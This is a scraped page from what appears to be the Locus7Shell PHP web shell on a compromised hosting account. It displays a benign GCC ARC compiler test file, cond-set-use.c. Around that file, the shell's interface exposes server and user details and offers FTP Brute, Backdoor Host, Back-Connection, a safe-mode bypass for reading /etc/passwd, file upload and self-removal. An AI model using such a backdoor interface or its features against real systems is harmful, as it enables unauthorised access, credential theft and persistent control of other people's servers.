Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/arc/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     cond-set-use.c (2.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-options "-Os" } */

/* Based on gethostbyname_r,
 * Copyright (C) 2000-2006 Erik Andersen <andersen@uclibc.org>
 *
 * Licensed under the LGPL v2.1, see the file COPYING.LIB
 *
 * Extraction / wrapping as test by
 * Joern Rennecke  <joern.rennecke@embecosm.com>
 * Copyright (C) 2013 Free Software Foundation, Inc.
 */

typedef unsigned size_t;
typedef int ssize_t;
typedef unsigned uint32_t;
struct resolv_answer {
 char *dotted;
 int atype;
 int aclass;
 int ttl;
 int rdlength;
 const unsigned char *rdata;
 int rdoffset;
 char* buf;
 size_t buflen;
 size_t add_count;
};
struct hostent
{
  char *h_name;
  char **h_aliases;
  int h_addrtype;
  int h_length;
  char **h_addr_list;
};

int *__attribute__  ((noinline,weak)) nop (void * p) { return p; };
void __attribute__  ((noinline,weak)) seta (struct resolv_answer * p)
{ p->atype = 1;}

int ghostbyname_r(
  struct hostent *result_buf,
  char *buf,
  size_t buflen,
  struct hostent **result,
  int *h_errnop)
{
 char **addr_list;
 char **alias;
 char *alias0;
 int i0;
 struct resolv_answer a;
 int i;

 *result = ((void *)0);

         *h_errnop = -1;

         if ((ssize_t)buflen <= 5)
  return 34;

 alias = (char **)buf;
 addr_list = (char **)buf;

  /* This got turned into branch with conditional move in delay slot.  */
 if ((ssize_t)buflen < 256)
  return 34;


 {
  if (!nop(&i0)) {
   result_buf->h_aliases = alias;
   result_buf->h_addrtype = 2;
   result_buf->h_length = 4;
   result_buf->h_addr_list = addr_list;
   *result = result_buf;
   *h_errnop = 0;
   return 0;
  }
 }


 seta (&a);

 if (a.atype == 1) {

  int need_bytes = sizeof(addr_list[0]) * (a.add_count + 1 + 1);

  int ips_len = a.add_count * a.rdlength;

  buflen -= (need_bytes + ips_len);
  if ((ssize_t)buflen < 0) {
   i = 34;
   goto free_and_ret;
  }

  result_buf->h_addrtype = 2;
  *result = result_buf;
  *h_errnop = 0;
  i = 0;
  goto free_and_ret;
 }

 /* For cse, the 1 was is loaded into a call-saved register;
    the load was hoisted into a delay slot before the conditional load,
    clobbering result_buf, which (conditionally) lived in the same
    call-saved register, because mark_referenced_resources considered the
    destination of the COND_EXEC only clobbered, but not used.  */
 *h_errnop = 1;
 *nop(&i0) = 1;
 i = 2;

 free_and_ret:
 nop (&i0);
 return i;
}

int
main ()
{
  struct hostent buf, *res;
  int i;
  char c;
  ghostbyname_r (&buf,  &c, 1024, &res, &i);
  ghostbyname_r (&buf,  0, 1024, &res, &i);
  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0052 ]--